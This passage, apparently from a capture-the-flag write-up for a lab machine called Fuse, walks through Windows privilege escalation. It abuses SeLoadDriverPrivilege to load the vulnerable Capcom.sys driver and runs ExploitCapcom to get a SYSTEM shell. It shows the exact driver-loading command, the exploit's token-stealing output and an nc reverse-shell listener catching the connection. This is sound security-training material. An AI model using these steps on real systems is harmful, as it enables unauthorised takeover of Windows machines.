I did not need to make any changes to the EoPLoadDriver.cpp file prior to compiling it. I did have to change executed process on line 292 of ExploitCapcom.cpp file. I updated this line to call a batch file that would execute a nc reverse shell command.
I had a lot of difficulty with compiling these cpp files into working executables. None of the mingw compilation methods I had used before were working, including -Wall and other flags. I ended up taking a look at the forums for assistance, and discovered that it seemed pretty necessary to compile this code in Visual Studio. I wound up just spinning up my Windows scratch VM, installing a trial copy of Visual Studio, and used that to build each .cpp file as a release. The only error I encountered when compiling the source on Windows was with the #include "stafx.h" statement. Searching the error led me to a Stack Exchange post that said this was a precompiled header that sometimes gets added by Visual Studio, and that it was safe to delete the line. With the line removed, the executables compiled without a problem.
Back on my Kali host, I served the compiled binaries, Capcom.sys, nc.exe, and 443.bat with Impacket's SMB Server, and copied the five files to the target host.
ls
Directory: C:\Users\svc-print
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/1/2020 1:45 AM Desktop
d-r--- 5/31/2020 5:20 PM Documents
d-r--- 7/16/2016 6:18 AM Downloads
d-r--- 7/16/2016 6:18 AM Favorites
d-r--- 7/16/2016 6:18 AM Links
d-r--- 7/16/2016 6:18 AM Music
d-r--- 7/16/2016 6:18 AM Pictures
d----- 7/16/2016 6:18 AM Saved Games
d-r--- 7/16/2016 6:18 AM Videos
-a---- 11/9/2020 5:09 PM 53 443.bat
-a---- 10/14/2020 12:34 PM 10576 Capcom.sys
-a---- 10/14/2020 12:34 PM 15360 EoPLoadDriver.exe
-a---- 10/14/2020 12:34 PM 275968 ExploitCapcom.exe
-a---- 10/19/2020 1:26 PM 59392 nc.exe
With all the required files staged, I executed the EoPLoadDriver binary in order to load the Capcom.sys driver.
.\EoPLoadDriver.exe System\\CurrentControlSet\\PrintSvc c:\users\svc-print\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\\CurrentControlSet\\PrintSvc
NTSTATUS: 00000000, WinError: 0
With the Capcom.sys binary loaded, I started a nc listener on tcp/443 of my Kali host, then executed the ExploitCapcom binary.
.\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 000001DFE7E70008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program
The exploit appeared to have fired without any issues, so I switched over to my listener where I was able to confirm I had caught the inbound reverse shell and verify the shell context as SYSTEM.
nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.193] 52683
Windows PowerShell running as user svc-print on FUSE
Copyright © 2015 Microsoft Corporation. All rights reserved.
C:\users\svc-print> whoami
nt authority/system